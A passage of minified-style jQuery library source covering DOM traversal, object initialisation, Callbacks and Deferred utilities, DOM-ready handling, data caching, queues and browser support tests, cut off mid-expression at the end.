qualifier, elements ); } return jQuery.grep( elements, function( elem ) { return ( jQuery.inArray( elem, qualifier ) >= 0 ) !== not; }); } jQuery.filter = function( expr, elems, not ) { var elem = elems[ 0 ]; if ( not ) { expr = ":not(" + expr + ")"; } return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] : jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; })); }; jQuery.fn.extend({ find: function( selector ) { var i, ret = [], self = this, len = self.length; if ( typeof selector !== "string" ) { return this.pushStack( jQuery( selector ).filter(function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } }) ); } for ( i = 0; i < len; i++ ) { jQuery.find( selector, self[ i ], ret ); } // Needed because $( selector, context ) becomes $( context ).find( selector ) ret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret ); ret.selector = this.selector ? this.selector + " " + selector : selector; return ret; }, filter: function( selector ) { return this.pushStack( winnow(this, selector || [], false) ); }, not: function( selector ) { return this.pushStack( winnow(this, selector || [], true) ); }, is: function( selector ) { return !!winnow( this, // If this is a positional/relative selector, check membership in the returned set // so $("p:first").is("p:last") won't return true for a doc with two "p". typeof selector === "string" && rneedsContext.test( selector ) ? jQuery( selector ) : selector || [], false ).length; } }); // Initialize a jQuery object // A central reference to the root jQuery(document) var rootjQuery, // Use the correct document accordingly with window argument (sandbox) document = window.document, // A simple way to check for HTML strings // Prioritize #id over <tag> to avoid XSS via location.hash (#9521) // Strict HTML recognition (#11290: must start with <) rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/, init = jQuery.fn.init = function( selector, context ) { var match, elem; // HANDLE: $(""), $(null), $(undefined), $(false) if ( !selector ) { return this; } // Handle HTML strings if ( typeof selector === "string" ) { if ( selector.charAt(0) === "<" && selector.charAt( selector.length - 1 ) === ">" && selector.length >= 3 ) { // Assume that strings that start and end with <> are HTML and skip the regex check match = [ null, selector, null ]; } else { match = rquickExpr.exec( selector ); } // Match html or make sure no context is specified for #id if ( match && (match[1] || !context) ) { // HANDLE: $(html) -> $(array) if ( match[1] ) { context = context instanceof jQuery ? context[0] : context; // scripts is true for back-compat // Intentionally let the error be thrown if parseHTML is not present jQuery.merge( this, jQuery.parseHTML( match[1], context && context.nodeType ? context.ownerDocument || context : document, true ) ); // HANDLE: $(html, props) if ( rsingleTag.test( match[1] ) && jQuery.isPlainObject( context ) ) { for ( match in context ) { // Properties of context are called as methods if possible if ( jQuery.isFunction( this[ match ] ) ) { this[ match ]( context[ match ] ); // ...and otherwise set as attributes } else { this.attr( match, context[ match ] ); } } } return this; // HANDLE: $(#id) } else { elem = document.getElementById( match[2] ); // Check parentNode to catch when Blackberry 4.6 returns // nodes that are no longer in the document #6963 if ( elem && elem.parentNode ) { // Handle the case where IE and Opera return items // by name instead of ID if ( elem.id !== match[2] ) { return rootjQuery.find( selector ); } // Otherwise, we inject the element directly into the jQuery object this.length = 1; this[0] = elem; } this.context = document; this.selector = selector; return this; } // HANDLE: $(expr, $(...)) } else if ( !context || context.jquery ) { return ( context || rootjQuery ).find( selector ); // HANDLE: $(expr, context) // (which is just equivalent to: $(context).find(expr) } else { return this.constructor( context ).find( selector ); } // HANDLE: $(DOMElement) } else if ( selector.nodeType ) { this.context = this[0] = selector; this.length = 1; return this; // HANDLE: $(function) // Shortcut for document ready } else if ( jQuery.isFunction( selector ) ) { return typeof rootjQuery.ready !== "undefined" ? rootjQuery.ready( selector ) : // Execute immediately if ready is not present selector( jQuery ); } if ( selector.selector !== undefined ) { this.selector = selector.selector; this.context = selector.context; } return jQuery.makeArray( selector, this ); }; // Give the init function the jQuery prototype for later instantiation init.prototype = jQuery.fn; // Initialize central reference rootjQuery = jQuery( document ); var rparentsprev = /^(?:parents|prev(?:Until|All))/, // methods guaranteed to produce a unique set when starting from a unique set guaranteedUnique = { children: true, contents: true, next: true, prev: true }; jQuery.extend({ dir: function( elem, dir, until ) { var matched = [], cur = elem[ dir ]; while ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) { if ( cur.nodeType === 1 ) { matched.push( cur ); } cur = cur[dir]; } return matched; }, sibling: function( n, elem ) { var r = []; for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { r.push( n ); } } return r; } }); jQuery.fn.extend({ has: function( target ) { var i, targets = jQuery( target, this ), len = targets.length; return this.filter(function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( this, targets[i] ) ) { return true; } } }); }, closest: function( selectors, context ) { var cur, i = 0, l = this.length, matched = [], pos = rneedsContext.test( selectors ) || typeof selectors !== "string" ? jQuery( selectors, context || this.context ) : 0; for ( ; i < l; i++ ) { for ( cur = this[i]; cur && cur !== context; cur = cur.parentNode ) { // Always skip document fragments if ( cur.nodeType < 11 && (pos ? pos.index(cur) > -1 : // Don't pass non-elements to Sizzle cur.nodeType === 1 && jQuery.find.matchesSelector(cur, selectors)) ) { matched.push( cur ); break; } } } return this.pushStack( matched.length > 1 ? jQuery.unique( matched ) : matched ); }, // Determine the position of an element within // the matched set of elements index: function( elem ) { // No argument, return index in parent if ( !elem ) { return ( this[0] && this[0].parentNode ) ? this.first().prevAll().length : -1; } // index in selector if ( typeof elem === "string" ) { return jQuery.inArray( this[0], jQuery( elem ) ); } // Locate the position of the desired element return jQuery.inArray( // If it receives a jQuery object, the first element is used elem.jquery ? elem[0] : elem, this ); }, add: function( selector, context ) { return this.pushStack( jQuery.unique( jQuery.merge( this.get(), jQuery( selector, context ) ) ) ); }, addBack: function( selector ) { return this.add( selector == null ? this.prevObject : this.prevObject.filter(selector) ); } }); function sibling( cur, dir ) { do { cur = cur[ dir ]; } while ( cur && cur.nodeType !== 1 ); return cur; } jQuery.each({ parent: function( elem ) { var parent = elem.parentNode; return parent && parent.nodeType !== 11 ? parent : null; }, parents: function( elem ) { return jQuery.dir( elem, "parentNode" ); }, parentsUntil: function( elem, i, until ) { return jQuery.dir( elem, "parentNode", until ); }, next: function( elem ) { return sibling( elem, "nextSibling" ); }, prev: function( elem ) { return sibling( elem, "previousSibling" ); }, nextAll: function( elem ) { return jQuery.dir( elem, "nextSibling" ); }, prevAll: function( elem ) { return jQuery.dir( elem, "previousSibling" ); }, nextUntil: function( elem, i, until ) { return jQuery.dir( elem, "nextSibling", until ); }, prevUntil: function( elem, i, until ) { return jQuery.dir( elem, "previousSibling", until ); }, siblings: function( elem ) { return jQuery.sibling( ( elem.parentNode || {} ).firstChild, elem ); }, children: function( elem ) { return jQuery.sibling( elem.firstChild ); }, contents: function( elem ) { return jQuery.nodeName( elem, "iframe" ) ? elem.contentDocument || elem.contentWindow.document : jQuery.merge( [], elem.childNodes ); } }, function( name, fn ) { jQuery.fn[ name ] = function( until, selector ) { var ret = jQuery.map( this, fn, until ); if ( name.slice( -5 ) !== "Until" ) { selector = until; } if ( selector && typeof selector === "string" ) { ret = jQuery.filter( selector, ret ); } if ( this.length > 1 ) { // Remove duplicates if ( !guaranteedUnique[ name ] ) { ret = jQuery.unique( ret ); } // Reverse order for parents* and prev-derivatives if ( rparentsprev.test( name ) ) { ret = ret.reverse(); } } return this.pushStack( ret ); }; }); var rnotwhite = (/\S+/g); // String to Object options format cache var optionsCache = {}; // Convert String-formatted options into Object-formatted ones and store in cache function createOptions( options ) { var object = optionsCache[ options ] = {}; jQuery.each( options.match( rnotwhite ) || [], function( _, flag ) { object[ flag ] = true; }); return object; } /* * Create a callback list using the following parameters: * * options: an optional list of space-separated options that will change how * the callback list behaves or a more traditional option object * * By default a callback list will act like an event callback list and can be * "fired" multiple times. * * Possible options: * * once: will ensure the callback list can only be fired once (like a Deferred) * * memory: will keep track of previous values and will call any callback added * after the list has been fired right away with the latest "memorized" * values (like a Deferred) * * unique: will ensure a callback can only be added once (no duplicate in the list) * * stopOnFalse: interrupt callings when a callback returns false * */ jQuery.Callbacks = function( options ) { // Convert options from String-formatted to Object-formatted if needed // (we check in cache first) options = typeof options === "string" ? ( optionsCache[ options ] || createOptions( options ) ) : jQuery.extend( {}, options ); var // Flag to know if list is currently firing firing, // Last fire value (for non-forgettable lists) memory, // Flag to know if list was already fired fired, // End of the loop when firing firingLength, // Index of currently firing callback (modified by remove if needed) firingIndex, // First callback to fire (used internally by add and fireWith) firingStart, // Actual callback list list = [], // Stack of fire calls for repeatable lists stack = !options.once && [], // Fire callbacks fire = function( data ) { memory = options.memory && data; fired = true; firingIndex = firingStart || 0; firingStart = 0; firingLength = list.length; firing = true; for ( ; list && firingIndex < firingLength; firingIndex++ ) { if ( list[ firingIndex ].apply( data[ 0 ], data[ 1 ] ) === false && options.stopOnFalse ) { memory = false; // To prevent further calls using add break; } } firing = false; if ( list ) { if ( stack ) { if ( stack.length ) { fire( stack.shift() ); } } else if ( memory ) { list = []; } else { self.disable(); } } }, // Actual Callbacks object self = { // Add a callback or a collection of callbacks to the list add: function() { if ( list ) { // First, we save the current length var start = list.length; (function add( args ) { jQuery.each( args, function( _, arg ) { var type = jQuery.type( arg ); if ( type === "function" ) { if ( !options.unique || !self.has( arg ) ) { list.push( arg ); } } else if ( arg && arg.length && type !== "string" ) { // Inspect recursively add( arg ); } }); })( arguments ); // Do we need to add the callbacks to the // current firing batch? if ( firing ) { firingLength = list.length; // With memory, if we're not firing then // we should call right away } else if ( memory ) { firingStart = start; fire( memory ); } } return this; }, // Remove a callback from the list remove: function() { if ( list ) { jQuery.each( arguments, function( _, arg ) { var index; while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) { list.splice( index, 1 ); // Handle firing indexes if ( firing ) { if ( index <= firingLength ) { firingLength--; } if ( index <= firingIndex ) { firingIndex--; } } } }); } return this; }, // Check if a given callback is in the list. // If no argument is given, return whether or not list has callbacks attached. has: function( fn ) { return fn ? jQuery.inArray( fn, list ) > -1 : !!( list && list.length ); }, // Remove all callbacks from the list empty: function() { list = []; firingLength = 0; return this; }, // Have the list do nothing anymore disable: function() { list = stack = memory = undefined; return this; }, // Is it disabled? disabled: function() { return !list; }, // Lock the list in its current state lock: function() { stack = undefined; if ( !memory ) { self.disable(); } return this; }, // Is it locked? locked: function() { return !stack; }, // Call all callbacks with the given context and arguments fireWith: function( context, args ) { if ( list && ( !fired || stack ) ) { args = args || []; args = [ context, args.slice ? args.slice() : args ]; if ( firing ) { stack.push( args ); } else { fire( args ); } } return this; }, // Call all the callbacks with the given arguments fire: function() { self.fireWith( this, arguments ); return this; }, // To know if the callbacks have already been called at least once fired: function() { return !!fired; } }; return self; }; jQuery.extend({ Deferred: function( func ) { var tuples = [ // action, add listener, listener list, final state [ "resolve", "done", jQuery.Callbacks("once memory"), "resolved" ], [ "reject", "fail", jQuery.Callbacks("once memory"), "rejected" ], [ "notify", "progress", jQuery.Callbacks("memory") ] ], state = "pending", promise = { state: function() { return state; }, always: function() { deferred.done( arguments ).fail( arguments ); return this; }, then: function( /* fnDone, fnFail, fnProgress */ ) { var fns = arguments; return jQuery.Deferred(function( newDefer ) { jQuery.each( tuples, function( i, tuple ) { var fn = jQuery.isFunction( fns[ i ] ) && fns[ i ]; // deferred[ done | fail | progress ] for forwarding actions to newDefer deferred[ tuple[1] ](function() { var returned = fn && fn.apply( this, arguments ); if ( returned && jQuery.isFunction( returned.promise ) ) { returned.promise() .done( newDefer.resolve ) .fail( newDefer.reject ) .progress( newDefer.notify ); } else { newDefer[ tuple[ 0 ] + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments ); } }); }); fns = null; }).promise(); }, // Get a promise for this deferred // If obj is provided, the promise aspect is added to the object promise: function( obj ) { return obj != null ? jQuery.extend( obj, promise ) : promise; } }, deferred = {}; // Keep pipe for back-compat promise.pipe = promise.then; // Add list-specific methods jQuery.each( tuples, function( i, tuple ) { var list = tuple[ 2 ], stateString = tuple[ 3 ]; // promise[ done | fail | progress ] = list.add promise[ tuple[1] ] = list.add; // Handle state if ( stateString ) { list.add(function() { // state = [ resolved | rejected ] state = stateString; // [ reject_list | resolve_list ].disable; progress_list.lock }, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock ); } // deferred[ resolve | reject | notify ] deferred[ tuple[0] ] = function() { deferred[ tuple[0] + "With" ]( this === deferred ? promise : this, arguments ); return this; }; deferred[ tuple[0] + "With" ] = list.fireWith; }); // Make the deferred a promise promise.promise( deferred ); // Call given func if any if ( func ) { func.call( deferred, deferred ); } // All done! return deferred; }, // Deferred helper when: function( subordinate /* , ..., subordinateN */ ) { var i = 0, resolveValues = slice.call( arguments ), length = resolveValues.length, // the count of uncompleted subordinates remaining = length !== 1 || ( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0, // the master Deferred. If resolveValues consist of only a single Deferred, just use that. deferred = remaining === 1 ? subordinate : jQuery.Deferred(), // Update function for both resolve and progress values updateFunc = function( i, contexts, values ) { return function( value ) { contexts[ i ] = this; values[ i ] = arguments.length > 1 ? slice.call( arguments ) : value; if ( values === progressValues ) { deferred.notifyWith( contexts, values ); } else if ( !(--remaining) ) { deferred.resolveWith( contexts, values ); } }; }, progressValues, progressContexts, resolveContexts; // add listeners to Deferred subordinates; treat others as resolved if ( length > 1 ) { progressValues = new Array( length ); progressContexts = new Array( length ); resolveContexts = new Array( length ); for ( ; i < length; i++ ) { if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) { resolveValues[ i ].promise() .done( updateFunc( i, resolveContexts, resolveValues ) ) .fail( deferred.reject ) .progress( updateFunc( i, progressContexts, progressValues ) ); } else { --remaining; } } } // if we're not waiting on anything, resolve the master if ( !remaining ) { deferred.resolveWith( resolveContexts, resolveValues ); } return deferred.promise(); } }); // The deferred used on DOM ready var readyList; jQuery.fn.ready = function( fn ) { // Add the callback jQuery.ready.promise().done( fn ); return this; }; jQuery.extend({ // Is the DOM ready to be used? Set to true once it occurs. isReady: false, // A counter to track how many items to wait for before // the ready event fires. See #6781 readyWait: 1, // Hold (or release) the ready event holdReady: function( hold ) { if ( hold ) { jQuery.readyWait++; } else { jQuery.ready( true ); } }, // Handle when the DOM is ready ready: function( wait ) { // Abort if there are pending holds or we're already ready if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { return; } // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443). if ( !document.body ) { return setTimeout( jQuery.ready ); } // Remember that the DOM is ready jQuery.isReady = true; // If a normal DOM Ready event fired, decrement, and wait if need be if ( wait !== true && --jQuery.readyWait > 0 ) { return; } // If there are functions bound, to execute readyList.resolveWith( document, [ jQuery ] ); // Trigger any bound ready events if ( jQuery.fn.triggerHandler ) { jQuery( document ).triggerHandler( "ready" ); jQuery( document ).off( "ready" ); } } }); /** * Clean-up method for dom ready events */ function detach() { if ( document.addEventListener ) { document.removeEventListener( "DOMContentLoaded", completed, false ); window.removeEventListener( "load", completed, false ); } else { document.detachEvent( "onreadystatechange", completed ); window.detachEvent( "onload", completed ); } } /** * The ready event handler and self cleanup method */ function completed() { // readyState === "complete" is good enough for us to call the dom ready in oldIE if ( document.addEventListener || event.type === "load" || document.readyState === "complete" ) { detach(); jQuery.ready(); } } jQuery.ready.promise = function( obj ) { if ( !readyList ) { readyList = jQuery.Deferred(); // Catch cases where $(document).ready() is called after the browser event has already occurred. // we once tried to use readyState "interactive" here, but it caused issues like the one // discovered by ChrisS here: http://bugs.jquery.com/ticket/12282#comment:15 if ( document.readyState === "complete" ) { // Handle it asynchronously to allow scripts the opportunity to delay ready setTimeout( jQuery.ready ); // Standards-based browsers support DOMContentLoaded } else if ( document.addEventListener ) { // Use the handy event callback document.addEventListener( "DOMContentLoaded", completed, false ); // A fallback to window.onload, that will always work window.addEventListener( "load", completed, false ); // If IE event model is used } else { // Ensure firing before onload, maybe late but safe also for iframes document.attachEvent( "onreadystatechange", completed ); // A fallback to window.onload, that will always work window.attachEvent( "onload", completed ); // If IE and not a frame // continually check to see if the document is ready var top = false; try { top = window.frameElement == null && document.documentElement; } catch(e) {} if ( top && top.doScroll ) { (function doScrollCheck() { if ( !jQuery.isReady ) { try { // Use the trick by Diego Perini // http://javascript.nwbox.com/IEContentLoaded/ top.doScroll("left"); } catch(e) { return setTimeout( doScrollCheck, 50 ); } // detach all dom ready events detach(); // and execute any waiting functions jQuery.ready(); } })(); } } } return readyList.promise( obj ); }; var strundefined = typeof undefined; // Support: IE<9 // Iteration over object's inherited properties before its own var i; for ( i in jQuery( support ) ) { break; } support.ownLast = i !== "0"; // Note: most support tests are defined in their respective modules. // false until the test is run support.inlineBlockNeedsLayout = false; // Execute ASAP in case we need to set body.style.zoom jQuery(function() { // Minified: var a,b,c,d var val, div, body, container; body = document.getElementsByTagName( "body" )[ 0 ]; if ( !body || !body.style ) { // Return for frameset docs that don't have a body return; } // Setup div = document.createElement( "div" ); container = document.createElement( "div" ); container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px"; body.appendChild( container ).appendChild( div ); if ( typeof div.style.zoom !== strundefined ) { // Support: IE<8 // Check if natively block-level elements act like inline-block // elements when setting their display to 'inline' and giving // them layout div.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1"; support.inlineBlockNeedsLayout = val = div.offsetWidth === 3; if ( val ) { // Prevent IE 6 from affecting layout for positioned elements #11048 // Prevent IE from shrinking the body in IE 7 mode #12869 // Support: IE<8 body.style.zoom = 1; } } body.removeChild( container ); }); (function() { var div = document.createElement( "div" ); // Execute the test only if not already executed in another module. if (support.deleteExpando == null) { // Support: IE<9 support.deleteExpando = true; try { delete div.test; } catch( e ) { support.deleteExpando = false; } } // Null elements to avoid leaks in IE. div = null; })(); /** * Determines whether an object can have data */ jQuery.acceptData = function( elem ) { var noData = jQuery.noData[ (elem.nodeName + " ").toLowerCase() ], nodeType = +elem.nodeType || 1; // Do not set data on non-element DOM nodes because it will not be cleared (#8335). return nodeType !== 1 && nodeType !== 9 ? false : // Nodes accept data unless otherwise specified; rejection can be conditional !noData || noData !== true && elem.getAttribute("classid") === noData; }; var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, rmultiDash = /([A-Z])/g; function dataAttr( elem, key, data ) { // If nothing was found internally, try to fetch any // data from the HTML5 data-* attribute if ( data === undefined && elem.nodeType === 1 ) { var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase(); data = elem.getAttribute( name ); if ( typeof data === "string" ) { try { data = data === "true" ? true : data === "false" ? false : data === "null" ? null : // Only convert to a number if it doesn't change the string +data + "" === data ? +data : rbrace.test( data ) ? jQuery.parseJSON( data ) : data; } catch( e ) {} // Make sure we set the data so it isn't changed later jQuery.data( elem, key, data ); } else { data = undefined; } } return data; } // checks a cache object for emptiness function isEmptyDataObject( obj ) { var name; for ( name in obj ) { // if the public data object is empty, the private is still empty if ( name === "data" && jQuery.isEmptyObject( obj[name] ) ) { continue; } if ( name !== "toJSON" ) { return false; } } return true; } function internalData( elem, name, data, pvt /* Internal Use Only */ ) { if ( !jQuery.acceptData( elem ) ) { return; } var ret, thisCache, internalKey = jQuery.expando, // We have to handle DOM nodes and JS objects differently because IE6-7 // can't GC object references properly across the DOM-JS boundary isNode = elem.nodeType, // Only DOM nodes need the global jQuery cache; JS object data is // attached directly to the object so GC can occur automatically cache = isNode ? jQuery.cache : elem, // Only defining an ID for JS objects if its cache already exists allows // the code to shortcut on the same path as a DOM node with no cache id = isNode ? elem[ internalKey ] : elem[ internalKey ] && internalKey; // Avoid doing any more work than we need to when trying to get data on an // object that has no data at all if ( (!id || !cache[id] || (!pvt && !cache[id].data)) && data === undefined && typeof name === "string" ) { return; } if ( !id ) { // Only DOM nodes need a new unique ID for each element since their data // ends up in the global cache if ( isNode ) { id = elem[ internalKey ] = deletedIds.pop() || jQuery.guid++; } else { id = internalKey; } } if ( !cache[ id ] ) { // Avoid exposing jQuery metadata on plain JS objects when the object // is serialized using JSON.stringify cache[ id ] = isNode ? {} : { toJSON: jQuery.noop }; } // An object can be passed to jQuery.data instead of a key/value pair; this gets // shallow copied over onto the existing cache if ( typeof name === "object" || typeof name === "function" ) { if ( pvt ) { cache[ id ] = jQuery.extend( cache[ id ], name ); } else { cache[ id ].data = jQuery.extend( cache[ id ].data, name ); } } thisCache = cache[ id ]; // jQuery data() is stored in a separate object inside the object's internal data // cache in order to avoid key collisions between internal data and user-defined // data. if ( !pvt ) { if ( !thisCache.data ) { thisCache.data = {}; } thisCache = thisCache.data; } if ( data !== undefined ) { thisCache[ jQuery.camelCase( name ) ] = data; } // Check for both converted-to-camel and non-converted data property names // If a data property was specified if ( typeof name === "string" ) { // First Try to find as-is property data ret = thisCache[ name ]; // Test for null|undefined property data if ( ret == null ) { // Try to find the camelCased property ret = thisCache[ jQuery.camelCase( name ) ]; } } else { ret = thisCache; } return ret; } function internalRemoveData( elem, name, pvt ) { if ( !jQuery.acceptData( elem ) ) { return; } var thisCache, i, isNode = elem.nodeType, // See jQuery.data for more information cache = isNode ? jQuery.cache : elem, id = isNode ? elem[ jQuery.expando ] : jQuery.expando; // If there is already no cache entry for this object, there is no // purpose in continuing if ( !cache[ id ] ) { return; } if ( name ) { thisCache = pvt ? cache[ id ] : cache[ id ].data; if ( thisCache ) { // Support array or space separated string names for data keys if ( !jQuery.isArray( name ) ) { // try the string as a key before any manipulation if ( name in thisCache ) { name = [ name ]; } else { // split the camel cased version by spaces unless a key with the spaces exists name = jQuery.camelCase( name ); if ( name in thisCache ) { name = [ name ]; } else { name = name.split(" "); } } } else { // If "name" is an array of keys... // When data is initially created, via ("key", "val") signature, // keys will be converted to camelCase. // Since there is no way to tell _how_ a key was added, remove // both plain key and camelCase key. #12786 // This will only penalize the array argument path. name = name.concat( jQuery.map( name, jQuery.camelCase ) ); } i = name.length; while ( i-- ) { delete thisCache[ name[i] ]; } // If there is no data left in the cache, we want to continue // and let the cache object itself get destroyed if ( pvt ? !isEmptyDataObject(thisCache) : !jQuery.isEmptyObject(thisCache) ) { return; } } } // See jQuery.data for more information if ( !pvt ) { delete cache[ id ].data; // Don't destroy the parent cache unless the internal data object // had been the only thing left in it if ( !isEmptyDataObject( cache[ id ] ) ) { return; } } // Destroy the cache if ( isNode ) { jQuery.cleanData( [ elem ], true ); // Use delete when supported for expandos or `cache` is not a window per isWindow (#10080) /* jshint eqeqeq: false */ } else if ( support.deleteExpando || cache != cache.window ) { /* jshint eqeqeq: true */ delete cache[ id ]; // When all else fails, null } else { cache[ id ] = null; } } jQuery.extend({ cache: {}, // The following elements (space-suffixed to avoid Object.prototype collisions) // throw uncatchable exceptions if you attempt to set expando properties noData: { "applet ": true, "embed ": true, // ...but Flash objects (which have this classid) *can* handle expandos "object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" }, hasData: function( elem ) { elem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ]; return !!elem && !isEmptyDataObject( elem ); }, data: function( elem, name, data ) { return internalData( elem, name, data ); }, removeData: function( elem, name ) { return internalRemoveData( elem, name ); }, // For internal use only. _data: function( elem, name, data ) { return internalData( elem, name, data, true ); }, _removeData: function( elem, name ) { return internalRemoveData( elem, name, true ); } }); jQuery.fn.extend({ data: function( key, value ) { var i, name, data, elem = this[0], attrs = elem && elem.attributes; // Special expections of .data basically thwart jQuery.access, // so implement the relevant behavior ourselves // Gets all values if ( key === undefined ) { if ( this.length ) { data = jQuery.data( elem ); if ( elem.nodeType === 1 && !jQuery._data( elem, "parsedAttrs" ) ) { i = attrs.length; while ( i-- ) { // Support: IE11+ // The attrs elements can be null (#14894) if ( attrs[ i ] ) { name = attrs[ i ].name; if ( name.indexOf( "data-" ) === 0 ) { name = jQuery.camelCase( name.slice(5) ); dataAttr( elem, name, data[ name ] ); } } } jQuery._data( elem, "parsedAttrs", true ); } } return data; } // Sets multiple values if ( typeof key === "object" ) { return this.each(function() { jQuery.data( this, key ); }); } return arguments.length > 1 ? // Sets one value this.each(function() { jQuery.data( this, key, value ); }) : // Gets one value // Try to fetch any internally stored data first elem ? dataAttr( elem, key, jQuery.data( elem, key ) ) : undefined; }, removeData: function( key ) { return this.each(function() { jQuery.removeData( this, key ); }); } }); jQuery.extend({ queue: function( elem, type, data ) { var queue; if ( elem ) { type = ( type || "fx" ) + "queue"; queue = jQuery._data( elem, type ); // Speed up dequeue by getting out quickly if this is just a lookup if ( data ) { if ( !queue || jQuery.isArray(data) ) { queue = jQuery._data( elem, type, jQuery.makeArray(data) ); } else { queue.push( data ); } } return queue || []; } }, dequeue: function( elem, type ) { type = type || "fx"; var queue = jQuery.queue( elem, type ), startLength = queue.length, fn = queue.shift(), hooks = jQuery._queueHooks( elem, type ), next = function() { jQuery.dequeue( elem, type ); }; // If the fx queue is dequeued, always remove the progress sentinel if ( fn === "inprogress" ) { fn = queue.shift(); startLength--; } if ( fn ) { // Add a progress sentinel to prevent the fx queue from being // automatically dequeued if ( type === "fx" ) { queue.unshift( "inprogress" ); } // clear up the last queue stop function delete hooks.stop; fn.call( elem, next, hooks ); } if ( !startLength && hooks ) { hooks.empty.fire(); } }, // not intended for public consumption - generates a queueHooks object, or returns the current one _queueHooks: function( elem, type ) { var key = type + "queueHooks"; return jQuery._data( elem, key ) || jQuery._data( elem, key, { empty: jQuery.Callbacks("once memory").add(function() { jQuery._removeData( elem, type + "queue" ); jQuery._removeData( elem, key ); }) }); } }); jQuery.fn.extend({ queue: function( type, data ) { var setter = 2; if ( typeof type !== "string" ) { data = type; type = "fx"; setter--; } if ( arguments.length < setter ) { return jQuery.queue( this[0], type ); } return data === undefined ? this : this.each(function() { var queue = jQuery.queue( this, type, data ); // ensure a hooks for this queue jQuery._queueHooks( this, type ); if ( type === "fx" && queue[0] !== "inprogress" ) { jQuery.dequeue( this, type ); } }); }, dequeue: function( type ) { return this.each(function() { jQuery.dequeue( this, type ); }); }, clearQueue: function( type ) { return this.queue( type || "fx", [] ); }, // Get a promise resolved when queues of a certain type // are emptied (fx is the type by default) promise: function( type, obj ) { var tmp, count = 1, defer = jQuery.Deferred(), elements = this, i = this.length, resolve = function() { if ( !( --count ) ) { defer.resolveWith( elements, [ elements ] ); } }; if ( typeof type !== "string" ) { obj = type; type = undefined; } type = type || "fx"; while ( i-- ) { tmp = jQuery._data( elements[ i ], type + "queueHooks" ); if ( tmp && tmp.empty ) { count++; tmp.empty.add( resolve ); } } resolve(); return defer.promise( obj ); } }); var pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source; var cssExpand = [ "Top", "Right", "Bottom", "Left" ]; var isHidden = function( elem, el ) { // isHidden might be called from jQuery#filter function; // in that case, element will be second argument elem = el || elem; return jQuery.css( elem, "display" ) === "none" || !jQuery.contains( elem.ownerDocument, elem ); }; // Multifunctional method to get and set values of a collection // The value/s can optionally be executed if it's a function var access = jQuery.access = function( elems, fn, key, value, chainable, emptyGet, raw ) { var i = 0, length = elems.length, bulk = key == null; // Sets many values if ( jQuery.type( key ) === "object" ) { chainable = true; for ( i in key ) { jQuery.access( elems, fn, i, key[i], true, emptyGet, raw ); } // Sets one value } else if ( value !== undefined ) { chainable = true; if ( !jQuery.isFunction( value ) ) { raw = true; } if ( bulk ) { // Bulk operations run against the entire set if ( raw ) { fn.call( elems, value ); fn = null; // ...except when executing function values } else { bulk = fn; fn = function( elem, key, value ) { return bulk.call( jQuery( elem ), value ); }; } } if ( fn ) { for ( ; i < length; i++ ) { fn( elems[i], key, raw ? value : value.call( elems[i], i, fn( elems[i], key ) ) ); } } } return chainable ? elems : // Gets bulk ? fn.call( elems ) : length ? fn( elems[0], key ) : emptyGet; }; var rcheckableType = (/^(?:checkbox|radio)$/i); (function() { // Minified: var a,b,c var input = document.createElement( "input" ), div = document.createElement( "div" ), fragment = document.createDocumentFragment(); // Setup div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>"; // IE strips leading whitespace when .innerHTML is used support.leadingWhitespace = div.firstChild.nodeType === 3; // Make sure that tbody elements aren't automatically inserted // IE will insert them into empty tables support.tbody = !div.getElementsByTagName( "tbody" ).length; // Make sure that link elements get serialized correctly by innerHTML // This requires a wrapper element in IE support.htmlSerialize = !!div.getElementsByTagName( "link" ).length; // Makes sure cloning an html5 element does not cause problems // Where outerHTML is undefined, this still works support.html5Clone = document.createElement( "nav" ).cloneNode( true ).outerHTML !== "<:nav></:nav>"; // Check if a disconnected checkbox will retain its checked // value of true after appended to the DOM (IE6/7) input.type = "checkbox"; input.checked = true; fragment.appendChild( input ); support.appendChecked = input.checked; // Make sure textarea (and checkbox) defaultValue is properly cloned // Support: IE6-IE11+ div.innerHTML = "<textarea>x</textarea>"; support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue; // #11217 - WebKit loses check when the name is after the checked attribute fragment.appendChild( div ); div.innerHTML = "<input type='radio' checked='checked' name='t'/>"; // Support: Safari 5.1, iOS 5.1, Android 4.x, Android 2.3 // old WebKit doesn't clone checked state correctly in fragments support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked; // Support: IE<9 // Opera does not clone events (and typeof div.attachEvent === undefined). // IE9-10 clones events bound via attachEvent, but they don't trigger with .click() support.noCloneEvent = true; if ( div.attachEvent ) { div.attachEvent( "onclick", function() { support.noCloneEvent = false; }); div.cloneNode( true ).click(); } // Execute the test only if not already executed in another module. if (support.deleteExpando == null) { // Support: IE<9 support.deleteExpando = true; try { delete div.test; } catch( e ) { support.deleteExpando = false; } } })(); (function() { var i, eventName, div = document.createElement( "div" ); // Support: IE<9 (lack submit/change bubble), Firefox 23+ (lack focusin event) for ( i in { submit: true, change: true, focusin: true }) { eventName = "on" + i; if ( !(support[ i + "Bubbles" ] = eventName in 